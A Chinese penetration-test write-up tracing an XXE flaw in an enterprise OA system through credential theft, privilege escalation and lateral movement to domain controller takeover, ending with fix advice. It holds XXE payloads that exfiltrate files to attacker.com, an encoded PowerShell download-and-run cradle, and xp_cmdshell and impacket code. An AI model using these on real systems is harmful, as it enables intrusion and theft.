从XXE漏洞到域控沦陷:一次企业级OA系统的渗透实战
前言
在企业安全渗透测试中,外部实体注入(XXE)漏洞往往被低估其潜在危害。很多安全团队认为XXE只能读取本地文件,但实际上,结合其他技术手段,一个简单的XXE漏洞可能导致整个企业域环境的沦陷。本文将分享一次真实的企业级OA系统渗透测试案例,详细剖析如何从发现XXE漏洞开始,逐步深入,最终获取域控制器权限的全过程。
漏洞发现:OA系统的XXE注入点
目标企业的OA系统采用Java开发,提供了文档在线预览功能。通过抓包分析,发现系统在处理Word文档转换时,向/api/document/convert
接口发送XML格式的请求:
<?xml version="1.0" encoding="UTF-8"?>
<DocumentConvert>
<fileId>12345</fileId>
<format>pdf</format>
<options>
<resolution>300</resolution>
</options>
</DocumentConvert>
初步测试发现系统未对XML外部实体进行限制,于是构造了基本的XXE Payload进行测试:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE DocumentConvert [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<DocumentConvert>
<fileId>&xxe;</fileId>
<format>pdf</format>
</DocumentConvert>
服务器返回了包含/etc/passwd
文件内容的错误信息,确认存在XXE漏洞。但真正的挑战才刚刚开始。
信息收集:利用XXE进行内网探测
传统的XXE利用通常止步于文件读取,但我们可以通过一些技巧进行内网服务探测。首先尝试通过HTTP协议访问内网资源:
<!DOCTYPE DocumentConvert [
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://192.168.1.1:8080/'>">
%int;
]>
通过观察响应时间差异,可以判断内网IP的存活情况。更有效的方法是使用FTP协议进行端口扫描:
<!DOCTYPE DocumentConvert [
<!ENTITY % dtd SYSTEM "http://attacker.com/portscan.dtd">
%dtd;
]>
其中portscan.dtd内容如下:
<!ENTITY % port "<!ENTITY % scan SYSTEM 'ftp://192.168.1.1:21/'>">
%port;
通过这种方式,我们绘制出了目标内网的基本拓扑,发现了几台关键服务器。
突破限制:从Blind XXE到数据外带
由于目标系统没有直接回显,需要采用Blind XXE技术将数据外带。这里利用参数实体和FTP协议:
<!DOCTYPE DocumentConvert [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;
]>
evil.dtd文件内容:
<!ENTITY % file SYSTEM "file:///C:/windows/system32/drivers/etc/hosts">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'ftp://attacker.com:2121/%file;'>">
%eval;
%exfil;
在攻击机搭建FTP服务器,成功接收到目标系统的hosts文件内容。这证实了我们可以通过XXE漏洞读取服务器上的任意文件。
凭证获取:寻找关键配置文件
接下来需要寻找应用程序的配置文件,通常包含数据库连接字符串等敏感信息。通过遍历常见路径:
<!ENTITY % file SYSTEM "file:///C:/OA/config/application.properties">
成功读取到数据库配置:
jdbc.url=jdbc:sqlserver://192.168.1.100:1433;databaseName=oa_db
jdbc.username=oa_user
jdbc.password=JX8m#d29!kLp
同时发现了LDAP配置:
ldap.url=ldap://192.168.1.10:389
ldap.baseDN=DC=company,DC=com
权限提升:从数据库到系统权限
获得数据库凭据后,使用SQL Server的xp_cmdshell执行系统命令:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';
发现当前权限为nt authority\network service
,需要进一步提权。通过查询发现系统安装了某款杀毒软件,存在已知的本地提权漏洞。
利用该漏洞的Python代码片段:
import os
import sys
from ctypes import *
def exploit():
# 利用杀软驱动漏洞获取SYSTEM权限
kernel32 = WinDLL('kernel32', use_last_error=True)
# 加载漏洞利用驱动程序
hDevice = kernel32.CreateFileA(
"\\\\.\\AVDriver",
0xC0000000,
0,
None,
3,
0,
None
)
# 发送精心构造的IOCTL
buf = create_string_buffer(1024)
kernel32.DeviceIoControl(
hDevice,
0x222003,
buf,
1024,
None,
0,
byref(c_ulong()),
None
)
成功获取SYSTEM权限后,可以转储LSASS进程内存获取更多凭据。
横向移动:利用获取的域凭据
从LSASS中提取到了多个域用户凭据,包括一个具有本地管理员权限的域账户。使用这些凭据进行横向移动:
import subprocess
from impacket import smbclient
def lateral_movement(target_ip, username, password, domain):
try:
# 使用WMI执行命令
command = 'powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AHQAYQBjAGsAZQByAC4AYwBvAG0ALwBiAGUAYQBjAG8AbgAuAHAAcwAxACcAKQA='
process = subprocess.Popen([
'wmic',
'/node:' + target_ip,
'/user:' + domain + '\\' + username,
'/password:' + password,
'process',
'call',
'create',
command
])
return True
except Exception as e:
print(f"横向移动失败: {str(e)}")
return False
域控攻陷:最终目标达成
通过横向移动,我们逐步接近域控制器。最终发现一个具有域管理员权限的服务账户,利用该账户直接访问域控制器:
from impacket.dcerpc.v5 import transport, srvs
from impacket.dcerpc.v5.rpcrt import DCERPCException
def domain_compromise(dc_ip, username, password, domain):
try:
# 建立SMB连接
smb_conn = smbclient.SMBConnection(
dc_ip,
dc_ip,
sess_port=445
)
smb_conn.login(username, password, domain)
# 获取域控制器信息
rpc_transport = transport.DCERPCTransportFactory(f'ncacn_np:{dc_ip}[\\pipe\\srvsvc]')
rpc_transport.set_credentials(username, password, domain)
dce = rpc_transport.get_dce_rpc()
dce.connect()
# 调用NetRemoteTOD获取时间(验证权限)
resp = srvs.hNetrRemoteTOD(dce, f'\\\\{dc_ip}')
print(f"域控制器时间: {resp['TodInfo']['Time']}")
# 此时已具备域管理员权限,可以执行任意操作
return True
except DCERPCException as e:
print(f"域控连接失败: {str(e)}")
return False
成功连接到域控制器后,可以提取整个域的哈希值,创建黄金票据,或者部署持久化后门。
漏洞修复建议
基于此次渗透测试发现的问题,提出以下修复建议:
1. XXE漏洞修复
// 禁用外部实体
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
2. 网络隔离措施
- 严格限制服务器出站连接
- 实施网络分段,减少横向移动风险
- 对敏感服务实施双因素认证
3. 权限最小化原则
- 应用程序使用低权限账户运行
- 定期审查服务账户权限
- 实施凭据保护机制
> 评论区域 (0 条)_
发表评论